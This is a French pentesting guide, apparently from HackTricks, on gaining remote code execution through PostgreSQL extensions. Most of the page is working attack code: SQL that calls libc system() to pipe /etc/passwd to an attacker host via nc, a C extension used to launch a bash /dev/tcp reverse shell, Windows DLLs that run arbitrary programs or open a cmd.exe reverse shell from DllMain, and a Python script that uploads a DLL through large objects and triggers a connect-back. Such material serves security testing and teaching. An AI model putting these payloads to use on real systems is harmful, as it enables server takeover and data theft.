RCE with PostgreSQL Extensions

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Extensions PostgreSQL

PostgreSQL a été développé avec l'extensibilité comme fonctionnalité principale, lui permettant d'intégrer sans problème des extensions comme s'il s'agissait de fonctionnalités intégrées. Ces extensions, essentiellement des bibliothèques écrites en C, enrichissent la base de données avec des fonctions, opérateurs ou types supplémentaires.

À partir de la version 8.1, une exigence spécifique est imposée aux bibliothèques d'extension : elles doivent être compilées avec un en-tête spécial. Sans cela, PostgreSQL ne les exécutera pas, garantissant que seules des extensions compatibles et potentiellement sécurisées sont utilisées.

De plus, gardez à l'esprit que si vous ne savez pas comment télécharger des fichiers sur la victime en abusant de PostgreSQL, vous devriez lire ce post.

RCE sous Linux

Pour plus d'informations, consultez : https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/

L'exécution de commandes système à partir de PostgreSQL 8.1 et des versions antérieures est un processus clairement documenté et simple. Il est possible d'utiliser ce : module Metasploit.

CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
Écrire un fichier binaire à partir de base64

Pour écrire un binaire dans un fichier dans postgres, vous pourriez avoir besoin d'utiliser base64, cela sera utile à cet effet:

CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;

IF fh <= 2 THEN
RETURN 1;
END IF;

SELECT decode(s, 'base64') INTO w;

i := 0;
LOOP
EXIT WHEN i >= octet_length(w);

SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;

IF rs < 0 THEN
RETURN 2;
END IF;

i := i + 1;
END LOOP;

SELECT close(fh) INTO rs;

RETURN 0;

END;
$$ LANGUAGE 'plpgsql';

Cependant, lorsque cela a été tenté sur des versions plus récentes, l'erreur suivante s'est affichée :

ERROR:  incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

Cette erreur est expliquée dans la documentation de PostgreSQL :

Pour garantir qu'un fichier d'objet chargé dynamiquement n'est pas chargé dans un serveur incompatible, PostgreSQL vérifie que le fichier contient un "bloc magique" avec le contenu approprié. Cela permet au serveur de détecter des incompatibilités évidentes, telles que du code compilé pour une version majeure différente de PostgreSQL. Un bloc magique est requis à partir de PostgreSQL 8.2. Pour inclure un bloc magique, écrivez ceci dans l'un (et un seul) des fichiers source du module, après avoir inclus l'en-tête fmgr.h :

#ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif

Depuis la version 8.2 de PostgreSQL, le processus pour un attaquant d'exploiter le système a été rendu plus difficile. L'attaquant doit soit utiliser une bibliothèque déjà présente sur le système, soit télécharger une bibliothèque personnalisée. Cette bibliothèque personnalisée doit être compilée contre la version majeure compatible de PostgreSQL et doit inclure un "bloc magique" spécifique. Cette mesure augmente considérablement la difficulté d'exploiter les systèmes PostgreSQL, car elle nécessite une compréhension plus approfondie de l'architecture du système et de la compatibilité des versions.

Compiler la bibliothèque

Obtenez la version de PostgreSQL avec :

SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit

Pour assurer la compatibilité, il est essentiel que les versions majeures soient alignées. Par conséquent, compiler une bibliothèque avec n'importe quelle version de la série 9.6.x devrait garantir une intégration réussie.

Pour installer cette version sur votre système :

apt install postgresql postgresql-server-dev-9.6

Et compilez la bibliothèque :

//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}

Ensuite, téléchargez la bibliothèque compilée et exécutez des commandes avec :

CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes

Vous pouvez trouver cette bibliothèque précompilée pour plusieurs versions différentes de PostgreSQL et même automatiser ce processus (si vous avez accès à PostgreSQL) avec:

RCE sous Windows

La DLL suivante prend en entrée le nom du binaire et le nombre de fois que vous souhaitez l'exécuter, puis l'exécute:

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);

/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))

/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/

int instances = PG_GETARG_INT32(1);

for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}

Vous pouvez trouver le DLL compilé dans ce zip :

Vous pouvez indiquer à ce DLL quel binaire exécuter et le nombre de fois de l'exécuter, dans cet exemple il exécutera calc.exe 2 fois :

CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);

Dans ce lien, vous pouvez trouver ce reverse-shell :

#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>

#pragma comment(lib,"ws2_32")

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS

BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;

char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);

WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);

struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));

server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);

WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);

memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;

CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);

return TRUE;
}

#pragma warning(pop) /* re-enable 4996 */

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);

PG_FUNCTION_INFO_V1(add_one);

Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);

PG_RETURN_INT32(arg + 1);
}

Notez comment dans ce cas le code malveillant est à l'intérieur de la fonction DllMain. Cela signifie que dans ce cas, il n'est pas nécessaire d'exécuter la fonction chargée dans postgresql, il suffit de charger le DLL pour exécuter le shell inversé:

CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;

RCE dans les dernières versions de PostgreSQL

Dans les dernières versions de PostgreSQL, des restrictions ont été imposées où le superutilisateur est interdit de charger des fichiers de bibliothèque partagée sauf à partir de répertoires spécifiques, tels que C:\Program Files\PostgreSQL\11\lib sur Windows ou /var/lib/postgresql/11/lib sur les systèmes *nix. Ces répertoires sont sécurisés contre les opérations d'écriture par les comptes NETWORK_SERVICE ou postgres.

Malgré ces restrictions, il est possible pour un superutilisateur de base de données authentifié d'écrire des fichiers binaires sur le système de fichiers en utilisant des "grands objets". Cette capacité s'étend à l'écriture dans le répertoire C:\Program Files\PostgreSQL\11\data, qui est essentiel pour les opérations de base de données telles que la mise à jour ou la création de tables.

Une vulnérabilité significative découle de la commande CREATE FUNCTION, qui autorise la traversée de répertoire dans le répertoire de données. Par conséquent, un attaquant authentifié pourrait exploiter cette traversée pour écrire un fichier de bibliothèque partagée dans le répertoire de données, puis le charger. Cette exploitation permet à l'attaquant d'exécuter du code arbitraire, réalisant ainsi une exécution de code natif sur le système.

Flux d'attaque

Tout d'abord, vous devez utiliser de grands objets pour télécharger le dll. Vous pouvez voir comment faire cela ici:

Une fois que vous avez téléchargé l'extension (avec le nom de poc.dll pour cet exemple) dans le répertoire de données, vous pouvez le charger avec:

create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);

Notez que vous n'avez pas besoin d'ajouter l'extension .dll car la fonction create l'ajoutera.

Pour plus d'informations, lisez la publication originale ici. Dans cette publication, voici le code utilisé pour générer l'extension postgres (pour apprendre comment compiler une extension postgres, lisez l'une des versions précédentes). Sur la même page, cet exploit pour automatiser cette technique a été donné:

#!/usr/bin/env python3
import sys

if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end   = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end   = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())

sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print("    select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print("    drop function connect_back(text, integer);")

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Dernière mise à jour